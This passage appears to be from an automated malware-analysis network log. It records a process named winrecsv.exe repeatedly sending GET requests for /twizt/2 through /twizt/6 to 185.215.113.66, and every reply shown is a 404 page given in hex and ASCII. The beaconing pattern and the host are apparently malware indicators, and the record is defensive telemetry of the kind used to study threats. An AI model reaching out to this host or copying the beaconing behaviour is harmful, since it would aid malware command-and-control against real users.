friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:09.696106911 CEST	6315	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:09.757704020 CEST	6316	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:09 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49794	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:32:12.991106033 CEST	6317	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:13.048749924 CEST	6318	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:13 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:14.066327095 CEST	6318	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:14.123684883 CEST	6319	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:14 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:15.134737015 CEST	6319	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:15.194560051 CEST	6320	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:15 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:16.212922096 CEST	7016	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:16.270699978 CEST	7017	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:16 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:17.289227009 CEST	7017	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:17.350804090 CEST	7018	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:17 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49797	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:32:20.586002111 CEST	7025	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:20.643721104 CEST	7026	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:20 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:21.672964096 CEST	7026	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:21.729661942 CEST	7027	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:21 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:23.761060953 CEST	7028	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
